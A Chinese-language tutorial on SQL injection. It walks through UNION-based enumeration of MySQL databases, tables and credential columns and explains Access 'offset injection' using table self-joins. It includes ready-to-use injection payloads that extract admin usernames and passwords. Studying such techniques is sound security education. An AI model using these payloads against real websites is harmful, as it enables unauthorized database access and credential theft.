数据库注入攻击
基于union联合查询的注入
判断字段名数量
使用order by确定字段数
id=1 order by 字段数
使用union select 确定字段数
id=1 union select 1,2,3.....
查询当前数据库名及数据库信息
id=1 union select version(),database()
查询数据库中的表
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=数据库名
//group_concat() 对一列数据做拼接,并自动以逗号分隔。
查询表中的字段信息
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名
查询表中数据
id=1 union select 1,concat(username,0x7e,password) from 表名
//concat() 对数据进行拼接,默认不会添加分隔符
id=1 union select 1,username,password from 表名
access偏移注入原理
判断是否存在注入点
id=1 and 1=2 页面显示出错
id=1 and 1=1 页面显示正常
说明存在注入点,且为数字型注入
判断注入点所查询的字段数
id=1 order by 22
猜测目标表的表名
id=1 and exists(select * from admin)
//exist()函数:用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False。
因为access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解。此次页面返回正常,说明存在access数据库中存在admin表。
确定显示位
id=1 union select union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 目标表
确定目标表的字段数量
id=1 and exists(select * from admin order by 6)
开始进行偏移注入
联合查询所要补充的字段数 = 当前字段数量 - 目标表的字段数 x N(N=1,2...)
- 在此处即为:联合查询补充字段数 = 当前字段数量(22) - admin表的字段数(6) x N
- 当N=1时我们称为 “1级偏移注入”,当N=2时我们称为 “2级偏移注入”;当N=3时我们称为 “3级偏移注入”,...
1级偏移注入
根据公式我们可以计算出:联合查询补充字段数 = 22-6x1 = 16
id=1 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
在这里我们解释一下,为什么1级偏移注入并没有爆出我们想要的字段值呢:
- 由前面的步骤我们已经得知,已经确定的显示位只有 3,9,13,15 四个,即只有处于第3,9,13,15这四个字段的数据才可以显示出来,
- 但是我们观察下标发现,在进行1级偏移注入时,admin表的数据实际上是排在了17号字段之后了,当然不会在页面中显示出来。
- 那么我们怎么样才可以将admin表的数据向前移动,以致可以使其处于第3,9,13,15号字段而显示出来呢?
- 答案是:我们可以进行2级(多级)偏移注入(即通过admin表的自连接使得sql语句中“ * ”所代表的的字段数增大,那么联合查询中用于充数字段就会减小,这样的话,admin表中的数据自然会向前移动了)
2级偏移注入
根据公式我们可以计算出:联合查询补充字段数 = 22-6x2 = 10
id=1 union select 1,2,3,4,5,6,7,8,9,10, * from (admin as a inner join admin as b on a.id=b.id)
//as关键字:用于起别名,可以为表起别名,也可以为字段起别名(as关键字可省略)
//表1 inner join 表2 on 筛选条件 :该关键字用于将表1与表2做笛卡尔积,然后根据on后面的条件进行筛选,(admin as a inner join admin as b on a.id=b.id)语句的意思是:将admin表与自己做笛卡尔积,然后筛选出两者id值相同的记录
-
假设在第13号显示位,我们成功的爆出了 密码
-
但这是为什么呢?
- 通过分析下图中表2我们发现,经过2级偏移注入,我们成功的将admin表的数据向前移动了6个字段,使其原本在17号字段及其之后才显现出的数据,变为了在11号字段及其之后就可回显而出。而此时admin表的password字段和count_time字段恰好处于显示位13和15上,于是就自然而然的暴露了出来。
-
那又为什么admin表的数据会向前移动6个字段呢?
- 原因就是,由于admin表进行了一次自连接,使得payload中from关键字后面的表由原有的 “admin表” 变成了:由“先让admin自己做笛卡尔积然后挑选id值相等的记录”组成的表。这样的话,payload中的“ * ”就由原来所代表的 “admin表” 中的6个字段,变为了现在所代表的 “admin自连接表” 的12个字段,又由于union关键字的使用,要求union关键字后面select查询的字段数必须要等于前面select查询的字段数,所以union关键字后面的select中用于充数的字段由原来的22-6=16变为了22-12=10个字段,因此由于充数的字段变少了,那么admin表的数据自然的就可以向前移动了。
- 请注意:admin表中的数据向前移动的字段数只能是admin表(即目标表)字段数的整数倍(这是由表自连接的特性所决定的)。
- 在此我们已经爆出了admin表的密码
- 此时,其实admin表的admin字段就紧挨在password字段的前方(其实在实战环境中我们是不确定admin字段是在前还是在后的,此处只是为了方便原理的讲解,就直接告诉你了)
- 那么我们是否仍然可以将数据向前移动而爆出admin字段的值呢?在这里显然是不行的,因为我们只能向前移动admin表的字段数量的整数倍(在这里即是6的整数倍),而此时admin表的admin字段此时所处字段为12号字段,再向前移动6个字段的话,admin字段就处于6号字段处了,仍然没有与显示位的位置发生重合。
-
到了这里,细心的同学会发现:
- 之前我们讲的都是如何将admin表中的数据向前移动,那么我们可不可以使得数据向后移动呢?要是可以向后移动的话,紧接着2级偏移,然后让数据向后移动一个字段,不就正好让admin字段处于13号显示位了吗?
- 恭喜你!你的想法是对的,我们的确可以让admin表的数据向后移动,不过遗憾的是,向后移动的字段数仍然取决于:我们能够猜解出admin表中多少个字段名。若猜解出1个字段名,那么我们就可以让数据向后移动1个字段数,若猜解出2个字段名,那么我们就可以让数据向后移动2个字段数,以此类推。(不过这里所需要猜解的字段名不需要是我们想要查找的字段名,只要是admin表中的字段名均可),原因请继续往后阅读:
-
微调payload:
id=1 union select top 1 1,2,3,4,5,6,7,8,9,10,b.id, * from (admin a inner join admin b on a.id=b.id)
- 根据页面返回的数据,我们可以看到,在第13号显示位我们成功的爆出了admin字段的第一个值:admin
- 原因:
- 我们先观察sql语句,发现union关键字后面的select查询的填充字段多了代码“b.id”,意思是在此输出b表(admin表的别名之一)的id字段值,由于此处已经显式的指出id字段值的输出位置,那么后面的 “ * ” 就会自动的识别,就只输出admin自联表剩下的字段值了,从而使得剩余数据均向后移动了一个字段,让原本在13号字段的admin字段向后移动了1位,到了13号显示位上了。
- 但请注意:此处的id字段名是我们已经猜解出的
- 这也就回答了上述所说的:“向后移动的字段数仍然取决于:我们能够猜解出admin表中多少个字段名,不过这里所需要猜解的字段名不需要必须是我们想要查找的字段名,只要是admin表中的字段名均可”。因此,如果我们想让admin数据向后移动2个字段值,那么我们就需要知道除了id字段名外,其他任一字段名即可,然后构造如下payload:?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,b.id,b.字段名 * from (admin a inner join admin b on a.id=b.id)
总结
-
如果我们仍然采用上述环境,那可不可以进行3级偏移和四级偏移呢?
-
答:3级偏移可以,但是4级偏移不行,因为如果进行4级偏移的话,就会使得偏移注入基本公式:联合查询补充字段数=当前字段数量-目标表的字段数 x 4 ==> 22-6x4=-2<0,即:会造成union关键字之前的select查询字段数的数量 < union关键字之后的字段数量,从而导致查询失败。
-
3级偏移的payload:
id=1 union select top 1 1,2,3,4, * from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
-
-
access偏移注入是否是真的随机?
- 通过上述原理的讲解,这个问题也就不攻自破了,显然access注入并不是真正的随机,并不是完全不受我们控制的,在我们获取足够信息的情况下(“目标表”的字段数量,当前字段数量,已知的“目标表字段名"的数量),我们可以在一定范围内完全控制显示位处的数据显示,而之所以说是一定范围内,只是因为 “显示位的位置” 和 “我们可以猜解到的目标表字段名的数量” 这两个因素不是我们可以控制的。
-
是否可以只说:“当前表”的字段数越多成功率越大,或“目标表”的字段数越少成功率越大?
- 显然我们不能这样简单的得出结论,偏移注入是否能够成功,取决于:“显示位位置” 和 “目标字段能够移动到的位置” 是否可以重合,如果可以重合的话,即使“当前表”字段数小一点,“目标表”字段数多一点也是无妨的(但万万不可“当前表”的字段数量 < “目标表”的字段数量)
-
是什么决定着“目标表”的数据一次性前移的字段数?是什么决定着“目标表”的数据可以后移的字段数?
- 前者是由 “目标表的字段数量” 所决定的:目标表中的数据 向前移动的字段数 只能是 目标表中的字段数的整数倍(这是由表自连接的特性所决定的)。
- 后者是由 “我们可以猜解得到的目标表的字段名数量” 所决定。若猜解出1个字段名,那么我们就可以让数据向后移动1个字段数,若猜解出2个字段名,那么我们就可以让数据向后移动2个字段数,以此类推。(不过这里所需要猜解的字段名不需要必须是我们想要查找的字段名,只要是admin表中的字段名均可)